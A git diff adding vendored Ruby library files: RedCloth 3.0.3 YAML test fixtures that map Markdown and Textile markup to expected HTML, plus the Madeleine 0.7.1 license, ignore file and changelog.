+  	<p>This is another regular paragraph.</p>
+---
+in: '"Larry Bird":http://images.google.com/images?num=30&q=larry+bird'
+out: '<p>"Larry Bird":http://images.google.com/images?num=30&#38;q=larry+bird</p>'
+---
+in: '&copy;'
+out: <p>&copy;</p>
+---
+in: AT&T
+out: <p>AT&#38;T</p>
+
+# We don't do this.
+# ---
+# in: 4 < 5
+# out: 4 &lt; 5
+---
+in: |
+  This is an H1
+  =============
+  
+  This is an H2
+  -------------
+out: |-
+  <h1>This is an H1</h1>
+
+  <h2>This is an H2</h2>
+---
+in: |
+  # This is an H1
+  
+  ## This is an H2
+  
+  ###### This is an H6
+out: |-
+  <h1>This is an H1</h1>
+
+  <h2>This is an H2</h2>
+
+  <h6>This is an H6</h6>
+---
+in: |
+  > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+  > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+  > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
+  > 
+  > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+  > id sem consectetuer libero luctus adipiscing.
+out: |-
+  <blockquote>
+  	<p>This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+  	consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+  	Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.</p>
+  
+  	<p>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+  	id sem consectetuer libero luctus adipiscing.</p>
+  
+  </blockquote>
+---
+in: |
+  > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+  consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+  Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
+  >
+  > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+  id sem consectetuer libero luctus adipiscing.
+out: |-
+  <blockquote>
+  	<p>This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+  	consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+  	Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.</p>
+  
+  	<p>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+  	id sem consectetuer libero luctus adipiscing.</p>
+  
+  </blockquote>
+---
+in: |
+  > This is the first level of quoting.
+  >
+  > > This is nested blockquote.
+  >
+  > Back to the first level.
+out: |-
+  <blockquote>
+  	<p>This is the first level of quoting.</p>
+  	<blockquote>
+  	<p>This is nested blockquote.</p>
+  
+  	</blockquote>
+  
+  
+  
+  	<p>Back to the first level.</p>
+  
+  </blockquote>
+---
+in: |
+  > ## This is a header.
+  > 
+  > 1.   This is the first list item.
+  > 2.   This is the second list item.
+  > 
+  > Here's some example code:
+  > 
+  >     return shell_exec("echo $input | $markdown_script");
+out: |-
+  <blockquote>
+  	<h2>This is a header.</h2>
+  
+  
+  
+  	<p>1.   This is the first list item.
+  	2.   This is the second list item.</p>
+  
+  	<p>Here's some example code:</p>
+  	<pre><code>return shell_exec("echo $input | $markdown_script");</code></pre>
+  
+  </blockquote>
+---
+in: |
+  * * *
+
+  ***
+  
+  *****
+  
+  - - -
+  
+  ---------------------------------------
+  
+  _ _ _
+out: |-
+  <hr />
+
+  <hr />
+
+  <hr />
+
+  <hr />
+
+  <hr />
+
+  <hr />
+---
+in: |
+  This is [an example](http://example.com/ "Title") inline link.
+
+  [This link](http://example.net/) has no title attribute.
+out: |-
+  <p>This is <a href="http://example.com/" title="Title">an example</a> inline link.</p>
+
+  	<p><a href="http://example.net/">This link</a> has no title attribute.</p>
+---
+in: See my [About](/about/) page for details.
+out: <p>See my <a href="/about/">About</a> page for details.</p>
+---
+in: |
+  This is [an example][id] reference-style link.
+
+  This is [an example] [id] reference-style link.
+
+  [id]: http://example.com/  "Optional Title Here"
+out: |-
+  <p>This is <a href="http://example.com/" title="Optional Title Here">an example</a> reference-style link.</p>
+  
+  	<p>This is <a href="http://example.com/" title="Optional Title Here">an example</a> reference-style link.</p>
+---
+in: |
+  [Google][]
+  [Google]: http://google.com/
+out: <p><a href="http://google.com/">Google</a></p>
+---
+in: |
+  Visit [Daring Fireball][] for more information.
+  [Daring Fireball]: http://daringfireball.net/
+out: <p>Visit <a href="http://daringfireball.net/">Daring Fireball</a> for more information.</p>
+---
+in: |
+  I get 10 times more traffic from [Google] [1] than from
+  [Yahoo] [2] or [MSN] [3].
+  
+    [1]: http://google.com/        "Google"
+    [2]: http://search.yahoo.com/  "Yahoo Search"
+    [3]: http://search.msn.com/    "MSN Search"
+
+out: |-
+  <p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a> than from
+  <a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+---
+in: |
+  I get 10 times more traffic from [Google][] than from
+  [Yahoo][] or [MSN][].
+  
+    [google]: http://google.com/        "Google"
+    [yahoo]:  http://search.yahoo.com/  "Yahoo Search"
+    [msn]:    http://search.msn.com/    "MSN Search"
+out: |-
+  <p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a> than from
+  <a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
diff --git a/vendor/RedCloth-3.0.3/tests/poignant.yml b/vendor/RedCloth-3.0.3/tests/poignant.yml
new file mode 100644
index 00000000..1a0f6942
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/poignant.yml
@@ -0,0 +1,64 @@
+--- # Tests from the (Poignant Guide)
+in: >
+  h3. False
+
+
+  !<i/blix-neg.gif(Shape of a cat.)!
+
+
+  _The cat Trady Blix.  Frozen in emptiness.  Immaculate whiskers rigid.  Placid
+  eyes of lake.  Tail of warm icicle.  Sponsored by a Very Powerful Pause Button._
+
+
+  The darkness surrounding Blix can be called *negative space*.  Hang on to that phrase.
+  Let it suggest that the emptiness has a negative connotation.  In a similar way,
+  @nil@ has a slightly sour note that it whistles.
+
+
+  Generally speaking, everything in Ruby has a positive charge to it.  This spark
+  flows through strings, numbers, regexps, all of it.  Only two keywords wear a
+  shady cloak: @nil@ and @false@ draggin us down.
+
+
+  You can test that charge with an @if@ keyword.  It looks very much like the
+  @do@ blocks we saw in the last chapter, in that both end with an @end@.
+
+
+  <pre>
+    if plastic_cup
+      print "Plastic cup is on the up 'n' up!"
+    end
+  </pre>
+
+
+  If @plastic_cup@ contains either @nil@ or @false@, you won't see anything print
+  to the screen.  They're not on the @if@ guest list.  So @if@ isn't going to run
+  any of the code it's protecting.
+
+
+  But @nil@ and @false@ need not walk away in shame.  They may be of questionable
+  character, but @unless@ runs a smaller establishment that caters to the bedraggled.
+  The @unless@ keyword has a policy of only allowing those with a negative charge in.
+  Who are: @nil@ and @false@.
+  
+
+  <pre>
+    unless plastic_cup
+      print "Plastic cup is on the down low."
+    end
+  </pre>
+
+
+  You can also use @if@ and @unless@ at the end of a single line of code, if that's
+  all that is being protected.
+
+
+  <pre>
+    print "Yeah, plastic cup is up again!" if plastic_cup
+    print "Hardly. It's down." unless plastic_cup
+  </pre>
+
+
+  Now that you've met @false@, I'm sure you can see what's on next.
+
+out: "<h3>False</h3>\n\n\t<p style=\"float:left\"><img src=\"i/blix-neg.gif\" title=\"Shape of a cat.\" alt=\"Shape of a cat.\" /></p>\n\n\t<p><em>The cat Trady Blix.  Frozen in emptiness.  Immaculate whiskers rigid.  Placid eyes of lake.  Tail of warm icicle.  Sponsored by a Very Powerful Pause Button.</em></p>\n\n\t<p>The darkness surrounding Blix can be called <strong>negative space</strong>.  Hang on to that phrase. Let it suggest that the emptiness has a negative connotation.  In a similar way, <code>nil</code> has a slightly sour note that it whistles.</p>\n\n\t<p>Generally speaking, everything in Ruby has a positive charge to it.  This spark flows through strings, numbers, regexps, all of it.  Only two keywords wear a shady cloak: <code>nil</code> and <code>false</code> draggin us down.</p>\n\n\t<p>You can test that charge with an <code>if</code> keyword.  It looks very much like the <code>do</code> blocks we saw in the last chapter, in that both end with an <code>end</code>.</p>\n\n\n<pre>\n  if plastic_cup\n    print \"Plastic cup is on the up 'n' up!\" \n  end\n</pre>\n\t<p>If <code>plastic_cup</code> contains either <code>nil</code> or <code>false</code>, you won&#8217;t see anything print to the screen.  They&#8217;re not on the <code>if</code> guest list.  So <code>if</code> isn&#8217;t going to run any of the code it&#8217;s protecting.</p>\n\n\t<p>But <code>nil</code> and <code>false</code> need not walk away in shame.  They may be of questionable character, but <code>unless</code> runs a smaller establishment that caters to the bedraggled. The <code>unless</code> keyword has a policy of only allowing those with a negative charge in. Who are: <code>nil</code> and <code>false</code>.</p>\n\n\n<pre>\n  unless plastic_cup\n    print \"Plastic cup is on the down low.\" \n  end\n</pre>\n\t<p>You can also use <code>if</code> and <code>unless</code> at the end of a single line of code, if that&#8217;s all that is being protected.</p>\n\n\n<pre>\n  print \"Yeah, plastic cup is up again!\" if plastic_cup\n  print \"Hardly. It's down.\" unless plastic_cup\n</pre>\n\t<p>Now that you&#8217;ve met <code>false</code>, I&#8217;m sure you can see what&#8217;s on next.</p>"
diff --git a/vendor/RedCloth-3.0.3/tests/table.yml b/vendor/RedCloth-3.0.3/tests/table.yml
new file mode 100644
index 00000000..bf5059e1
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/table.yml
@@ -0,0 +1,198 @@
+in: |
+  {background:#ddd}. |S|Target|Complete|App|Milestone|
+  |!/i/g.gif!|11/18/04|11/18/04|070|XML spec complete|
+  |!/i/g.gif!|11/29/04|11/29/04|011|XML spec complete (KH is on schedule)|
+  |!/i/g.gif!|11/29/04|11/29/04|051|XML spec complete (KH is on schedule)|
+  |!/i/g.gif!|11/29/04|11/29/04|081|XML spec complete (KH is on schedule)|
+  |!/i/g.gif!|11/19/04|11/22/04|070|Preprocessor complete|
+  |!/i/g.gif!|11/22/04|11/22/04|070|Dialog pass 1 builds an index file|
+  |!/i/g.gif!|11/24/04|11/24/04|070|Dialog pass 2 98% complete|
+  |!/i/g.gif!|11/30/04|11/30/04|070|Feature complete. Passes end-to-end smoke test.|
+  |!/i/g.gif!|11/30/04|11/30/04|011|Preprocessor updates complete|
+  |!/i/g.gif!|11/30/04|11/30/04|051|Preprocessor updates complete|
+  |!/i/g.gif!|11/30/04|11/29/04|081|Preprocessor updates complete|
+  |!/i/w.gif!|12/02/04|.|011|Dialog pass 1 and 2 complete (98+%)|
+  |!/i/w.gif!|12/02/04|.|051|Dialog pass 1 and 2 complete (98+%)|
+  |!/i/w.gif!|12/02/04|.|081|Dialog pass 1 and 2 complete (98+%)|
+  |!/i/w.gif!|12/03/04|.|011|Feature complete|
+  |!/i/w.gif!|12/03/04|.|051|Feature complete|
+  |!/i/w.gif!|12/03/04|.|081|Feature complete|
+  |!/i/w.gif!|12/10/04|.|011|Deployed to Napa test workstation. Passes smoke test.|
+  |!/i/w.gif!|12/10/04|.|051|Deployed to Napa test workstation. Passes smoke test.|
+  |!/i/w.gif!|12/10/04|.|081|Deployed to Napa test workstation. Passes smoke test.|
+  |!/i/w.gif!|12/10/04|.|070|Deployed to Napa test workstation. Passes smoke test.|
+  |!/i/w.gif!|12/17/04|.|011|System testing complete. Begin testing with live customer data.|
+  |!/i/w.gif!|12/17/04|.|051|System testing complete. Begin testing with live customer data.|
+  |!/i/w.gif!|12/17/04|.|081|System testing complete. Begin testing with live customer data.|
+  |!/i/w.gif!|12/17/04|.|070|System testing complete. Begin testing with live customer data.|
+out: |-
+  <table>
+  		<tr style="background:#ddd;">
+  			<td>S</td>
+  			<td>Target</td>
+  			<td>Complete</td>
+  			<td>App</td>
+  			<td>Milestone</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/18/04</td>
+  			<td>11/18/04</td>
+  			<td>070</td>
+  			<td>XML spec complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/29/04</td>
+  			<td>11/29/04</td>
+  			<td>011</td>
+  			<td>XML spec complete (KH is on schedule)</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/29/04</td>
+  			<td>11/29/04</td>
+  			<td>051</td>
+  			<td>XML spec complete (KH is on schedule)</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/29/04</td>
+  			<td>11/29/04</td>
+  			<td>081</td>
+  			<td>XML spec complete (KH is on schedule)</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/19/04</td>
+  			<td>11/22/04</td>
+  			<td>070</td>
+  			<td>Preprocessor complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/22/04</td>
+  			<td>11/22/04</td>
+  			<td>070</td>
+  			<td>Dialog pass 1 builds an index file</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/24/04</td>
+  			<td>11/24/04</td>
+  			<td>070</td>
+  			<td>Dialog pass 2 98% complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/30/04</td>
+  			<td>11/30/04</td>
+  			<td>070</td>
+  			<td>Feature complete. Passes end-to-end smoke test.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/30/04</td>
+  			<td>11/30/04</td>
+  			<td>011</td>
+  			<td>Preprocessor updates complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/30/04</td>
+  			<td>11/30/04</td>
+  			<td>051</td>
+  			<td>Preprocessor updates complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/g.gif" alt="" /></td>
+  			<td>11/30/04</td>
+  			<td>11/29/04</td>
+  			<td>081</td>
+  			<td>Preprocessor updates complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/02/04</td>
+  			<td>011</td>
+  			<td>Dialog pass 1 and 2 complete (98+%)</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/02/04</td>
+  			<td>051</td>
+  			<td>Dialog pass 1 and 2 complete (98+%)</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/02/04</td>
+  			<td>081</td>
+  			<td>Dialog pass 1 and 2 complete (98+%)</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/03/04</td>
+  			<td>011</td>
+  			<td>Feature complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/03/04</td>
+  			<td>051</td>
+  			<td>Feature complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/03/04</td>
+  			<td>081</td>
+  			<td>Feature complete</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/10/04</td>
+  			<td>011</td>
+  			<td>Deployed to Napa test workstation. Passes smoke test.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/10/04</td>
+  			<td>051</td>
+  			<td>Deployed to Napa test workstation. Passes smoke test.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/10/04</td>
+  			<td>081</td>
+  			<td>Deployed to Napa test workstation. Passes smoke test.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/10/04</td>
+  			<td>070</td>
+  			<td>Deployed to Napa test workstation. Passes smoke test.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/17/04</td>
+  			<td>011</td>
+  			<td>System testing complete. Begin testing with live customer data.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/17/04</td>
+  			<td>051</td>
+  			<td>System testing complete. Begin testing with live customer data.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/17/04</td>
+  			<td>081</td>
+  			<td>System testing complete. Begin testing with live customer data.</td>
+  		</tr>
+  		<tr>
+  			<td><img src="/i/w.gif" alt="" /></td>
+  			<td>12/17/04</td>
+  			<td>070</td>
+  			<td>System testing complete. Begin testing with live customer data.</td>
+  		</tr>
+  	</table>
diff --git a/vendor/RedCloth-3.0.3/tests/textism.yml b/vendor/RedCloth-3.0.3/tests/textism.yml
new file mode 100644
index 00000000..5489c04d
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/tests/textism.yml
@@ -0,0 +1,397 @@
+---
+in: h1. Header 1
+out: <h1>Header 1</h1>
+---
+in: h2. Header 2
+out: <h2>Header 2</h2>
+---
+in: h3. Header 3
+out: <h3>Header 3</h3>
+---
+in: |-
+  Any old text.
+
+  bq. A block quotation.
+
+  Any old text.
+
+out: |-
+  <p>Any old text.</p>
+  
+  	<blockquote>
+  		<p>A block quotation.</p>
+  	</blockquote>
+  
+  	<p>Any old text.</p>
+
+---
+in: This is covered elsewhere[1].
+out: <p>This is covered elsewhere<sup><a href="#fn1">1</a></sup>.</p>
+---
+in: fn1. Down here, in fact.
+out: <p id="fn1"><sup>1</sup> Down here, in fact.</p>
+---
+in: |-
+  # A first item
+  # A second item
+  # A third item
+  # A fourth item
+out: |-
+  <ol>
+  	<li>A first item</li>
+  		<li>A second item</li>
+  		<li>A third item</li>
+  		<li>A fourth item</li>
+  	</ol>
+---
+in: |-
+  * A first item
+  * A second item
+  * A third item
+  * A fourth item
+
+out: |-
+  <ul>
+  	<li>A first item</li>
+  		<li>A second item</li>
+  		<li>A third item</li>
+  		<li>A fourth item</li>
+  	</ul>
+
+---
+in: _a phrase_
+out: <p><em>a phrase</em></p>
+---
+in: __a phrase__
+out: <p><i>a phrase</i></p>
+---
+in: '*a phrase*'
+out: <p><strong>a phrase</strong></p>
+---
+in: '**a phrase**'
+out: <p><b>a phrase</b></p>
+---
+in: Nabokov's ??Pnin??
+out: <p>Nabokov&#8217;s <cite>Pnin</cite></p>
+---
+in: -a phrase-
+out: <p><del>a phrase</del></p>
+---
+in: +a phrase+
+out: <p><ins>a phrase</ins></p>
+---
+in: ^a phrase^
+out: <p><sup>a phrase</sup></p>
+---
+in: ~a phrase~
+out: <p><sub>a phrase</sub></p>
+# ---
+# in: %(caps)SPAN%
+# out: <p><span class="caps">SPAN</span>
+---
+in: %{color:red}red%
+out: <p><span style="color:red;">red</span></p>
+---
+in: %[fr]rouge%
+out: <p><span lang="fr">rouge</span></p>
+---
+in: _(big)red_
+out: <p><em class="big">red</em></p>
+---
+in: p(bob). A paragraph
+out: <p class="bob">A paragraph</p>
+---
+in: p{color:#ddd}. A paragraph
+out: <p style="color:#ddd;">A paragraph</p>
+---
+in: p[fr]. A paragraph
+out: <p lang="fr">A paragraph</p>
+---
+in: h2()>. right-aligned header2, indented 1em both side
+out: <h2 style="padding-left:1em;padding-right:1em;text-align:right;">right-aligned header2, indented 1em both side</h2>
+---
+in: h3=. centered header
+out: <h3 style="text-align:center;">centered header</h3>
+---
+in: '!>/image.gif! right-aligned image'
+out: <p style="float:right"><img src="/image.gif" alt="" /> right-aligned image</p>
+---
+in: p[no]{color:red}. A Norse of a different colour.
+out: <p style="color:red;" lang="no">A Norse of a different colour.</p>
+---
+in: |-
+  |This|is|a|simple|table|
+  |This|is|a|simple|row|
+out: |-
+  <table>
+  		<tr>
+  			<td>This</td>
+  			<td>is</td>
+  			<td>a</td>
+  			<td>simple</td>
+  			<td>table</td>
+  		</tr>
+  		<tr>
+  			<td>This</td>
+  			<td>is</td>
+  			<td>a</td>
+  			<td>simple</td>
+  			<td>row</td>
+  		</tr>
+  	</table>
+---
+in: |-
+  table{border:1px solid black}.
+  |This|is|a|row|
+  |This|is|a|row|
+out: |-
+  <table style="border:1px solid black;">
+  		<tr>
+  			<td>This</td>
+  			<td>is</td>
+  			<td>a</td>
+  			<td>row</td>
+  		</tr>
+  		<tr>
+  			<td>This</td>
+  			<td>is</td>
+  			<td>a</td>
+  			<td>row</td>
+  		</tr>
+  	</table>
+---
+in: '{background:#ddd}. |This|is|a|row|'
+out: |-
+  <table>
+  		<tr style="background:#ddd;">
+  			<td>This</td>
+  			<td>is</td>
+  			<td>a</td>
+  			<td>row</td>
+  		</tr>
+  	</table>
+---
+in: |-
+  |{background:#ddd}. Cell with gray background|
+  |\2. Cell spanning 2 columns|
+  |/3. Cell spanning 3 rows|
+  |>. Right-aligned cell|
+out: |-
+  <table>
+  		<tr>
+  			<td style="background:#ddd;">Cell with gray background</td>
+  		</tr>
+  		<tr>
+  			<td colspan="2">Cell spanning 2 columns</td>
+  		</tr>
+  		<tr>
+  			<td rowspan="3">Cell spanning 3 rows</td>
+  		</tr>
+  		<tr>
+  			<td style="text-align:right;">Right-aligned cell</td>
+  		</tr>
+  	</table>
+# ---
+# in: |-
+#   This is a "link":bob to Bob's website.
+# 
+#   [bob]http://itsbob.com/index.html
+---
+in: ACLU(American Civil Liberties Union)
+out: <p><acronym title="American Civil Liberties Union">ACLU</acronym></p>
+---
+in: |-
+  h2{color:green}. This is a title
+
+  h3. This is a subhead
+  
+  p{color:red}. This is some text of dubious character. Isn't the use of "quotes" just lazy writing -- and theft of 'intellectual property' besides? I think the time has come to see a block quote.
+  
+  bq[fr]. This is a block quote. I'll admit it's not the most exciting block quote ever devised.
+  
+  Simple list:
+  
+  #{color:blue} one
+  # two
+  # three
+  
+  Multi-level list:
+  
+  # one
+  ## aye
+  ## bee
+  ## see
+  # two
+  ## x
+  ## y
+  # three
+  
+  Mixed list:
+  
+  * Point one
+  * Point two
+  ## Step 1
+  ## Step 2
+  ## Step 3
+  * Point three
+  ** Sub point 1
+  ** Sub point 2
+  
+  
+  Well, that went well. How about we insert an <a href="/" title="watch out">old-fashioned hypertext link</a>? Will the quote marks in the tags get messed up? No!
+  
+  "This is a link (optional title)":http://www.textism.com
+  
+  table{border:1px solid black}.
+  |_. this|_. is|_. a|_. header|
+  <{background:gray}. |\2. this is|{background:red;width:200px}. a|^<>{height:200px}. row|
+  |this|<>{padding:10px}. is|^. another|(bob#bob). row|
+  
+  An image:
+  
+  !/common/textist.gif(optional alt text)!
+  
+  # Librarians rule
+  # Yes they do
+  # But you knew that
+  
+  Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to _emphasize_.
+  That was a linebreak. And something to indicate *strength*. Of course I could use <em>my own HTML tags</em> if I <strong>felt</strong> like it.
+  
+  h3. Coding
+  
+  This <code>is some code, "isn't it"</code>. Watch those quote marks! Now for some preformatted text:
+  
+  <pre>
+  <code>
+      $text = str_replace("<p>%::%</p>","",$text);
+      $text = str_replace("%::%</p>","",$text);
+      $text = str_replace("%::%","",$text);
+  
+  </code>
+  </pre>
+  
+  This isn't code.
+  
+  
+  So you see, my friends:
+  
+  * The time is now
+  * The time is not later
+  * The time is not yesterday
+  * We must act
+
+out: |-
+  <h2 style="color:green;">This is a title</h2>
+
+  	<h3>This is a subhead</h3>
+  
+  	<p style="color:red;">This is some text of dubious character. Isn&#8217;t the use of &#8220;quotes&#8221; just lazy writing&#8212;and theft of &#8216;intellectual property&#8217; besides? I think the time has come to see a block quote.</p>
+
+  	<blockquote>
+  		<p lang="fr">This is a block quote. I&#8217;ll admit it&#8217;s not the most exciting block quote ever devised.</p>
+  	</blockquote>
+  
+  	<p>Simple list:</p>
+  	<ol style="color:blue;">
+  	<li>one</li>
+  		<li>two</li>
+  		<li>three</li>
+  	</ol>
+  
+  	<p>Multi-level list:</p>
+  	<ol>
+  	<li>one
+  	<ol>
+  	<li>aye</li>
+  		<li>bee</li>
+  		<li>see</li>
+  	</ol>
+  	</li>
+  		<li>two
+  	<ol>
+  	<li>x</li>
+  		<li>y</li>
+  	</ol>
+  	</li>
+  		<li>three</li>
+  	</ol>
+  
+  	<p>Mixed list:</p>
+  	<ul>
+  	<li>Point one</li>
+  		<li>Point two
+  	<ol>
+  	<li>Step 1</li>
+  		<li>Step 2</li>
+  		<li>Step 3</li>
+  	</ol>
+  	</li>
+  		<li>Point three
+  	<ul>
+  	<li>Sub point 1</li>
+  		<li>Sub point 2</li>
+  	</ul></li>
+  	</ul>
+  
+  	<p>Well, that went well. How about we insert an <a href="/" title="watch out">old-fashioned hypertext link</a>? Will the quote marks in the tags get messed up? No!</p>
+  
+  	<p><a href="http://www.textism.com" title="optional title">This is a link</a></p>
+
+  	<table style="border:1px solid black;">
+  		<tr>
+  			<th>this</th>
+  			<th>is</th>
+  			<th>a</th>
+  			<th>header</th>
+  		</tr>
+  		<tr style="background:gray;text-align:left;">
+  			<td colspan="2">this is</td>
+  			<td style="background:red;width:200px;">a</td>
+  			<td style="vertical-align:top;height:200px;text-align:justify;">row</td>
+  		</tr>
+  		<tr>
+  			<td>this</td>
+  			<td style="padding:10px;text-align:justify;">is</td>
+  			<td style="vertical-align:top;">another</td>
+  			<td class="bob" id="bob">row</td>
+  		</tr>
+  	</table>
+  
+
+
+  	<p>An image:</p>
+  
+  	<p><img src="/common/textist.gif" title="optional alt text" alt="optional alt text" /></p>
+  	<ol>
+  	<li>Librarians rule</li>
+  		<li>Yes they do</li>
+  		<li>But you knew that</li>
+  	</ol>
+  
+  	<p>Some more text of dubious character. Here is a noisome string of <span class="caps">CAPITAL</span> letters. Here is something we want to <em>emphasize</em>.
+  That was a linebreak. And something to indicate <strong>strength</strong>. Of course I could use <em>my own <span class="caps">HTML</span> tags</em> if I <strong>felt</strong> like it.</p>
+
+  	<h3>Coding</h3>
+  
+  	<p>This <code>is some code, "isn't it"</code>. Watch those quote marks! Now for some preformatted text:</p>
+  
+
+  <pre>
+  <code>
+      $text = str_replace("&lt;p&gt;%::%&lt;/p&gt;","",$text);
+      $text = str_replace("%::%&lt;/p&gt;","",$text);
+      $text = str_replace("%::%","",$text);
+  
+  </code>
+  </pre>
+  	<p>This isn&#8217;t code.</p>
+  
+  	<p>So you see, my friends:</p>
+  	<ul>
+  	<li>The time is now</li>
+  		<li>The time is not later</li>
+  		<li>The time is not yesterday</li>
+  		<li>We must act</li>
+  	</ul>
+
diff --git a/vendor/madeleine-0.7.1/.cvsignore b/vendor/madeleine-0.7.1/.cvsignore
new file mode 100755
index 00000000..c3c960b4
--- /dev/null
+++ b/vendor/madeleine-0.7.1/.cvsignore
@@ -0,0 +1,2 @@
+PrevalenceBase
+*.gem
diff --git a/vendor/madeleine-0.7.1/COPYING b/vendor/madeleine-0.7.1/COPYING
new file mode 100755
index 00000000..19d570ec
--- /dev/null
+++ b/vendor/madeleine-0.7.1/COPYING
@@ -0,0 +1,31 @@
+
+    Copyright (c) 2003-2004, Anders Bengtsson
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions
+    are met:
+ 
+      1. Redistributions of source code must retain the above copyright
+         notice, this list of conditions and the following disclaimer.
+ 
+      2. Redistributions in binary form must reproduce the above copyright
+         notice, this list of conditions and the following disclaimer in the
+         documentation and/or other materials provided with the distribution.
+ 
+      3. The names of its contributors may not be used to endorse or promote
+         products derived from this software without specific prior written
+         permission.
+ 
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+    CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
+    INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
+    BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+    EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
+    TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+    DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+    ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
+    THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+    SUCH DAMAGE.
diff --git a/vendor/madeleine-0.7.1/NEWS b/vendor/madeleine-0.7.1/NEWS
new file mode 100755
index 00000000..8fd9d325
--- /dev/null
+++ b/vendor/madeleine-0.7.1/NEWS
@@ -0,0 +1,55 @@
+
+Madeleine 0.7.1 (August 22, 2004):
+
+    * ZMarshal changed to work around Zlib bug.
+    * automatic_read_only fixed when intercepted class is inherited from
+
+Madeleine 0.7 (July 23, 2004):
+
+    * Broken clock unit test on win32 fixed.
+    * AutomaticSnapshotMadeleine detects snapshot format on recovery
+    * Snapshot compression with Madeleine::ZMarshal
+    * YAML snapshots supported for automatic commands
+    * SOAP snapshots supported for automatic commands
+    * Read-only methods for automatic commands
+
+Madeleine 0.6.1 (March 30, 2004):
+
+    * Bug fix: Use binary mode for I/O, fixes log replay
+      on mswin32 port of Ruby (Patch from Martin Tampe)
+
+Madeleine 0.6 (March 28, 2004):
+
+    * Changed license to BSD
+    * Added a RubyGem specification
+    * Re-designed initialization (but still backward-compatible)
+    * Bug fix: Fixed use of finalized object's id in AutomaticSnapshotMadeleine
+
+Madeleine 0.5 (August 31, 2003):
+
+    * Bug fix: Log order on recovery was wrong on some platforms
+      (Reported by IIMA Susumu)
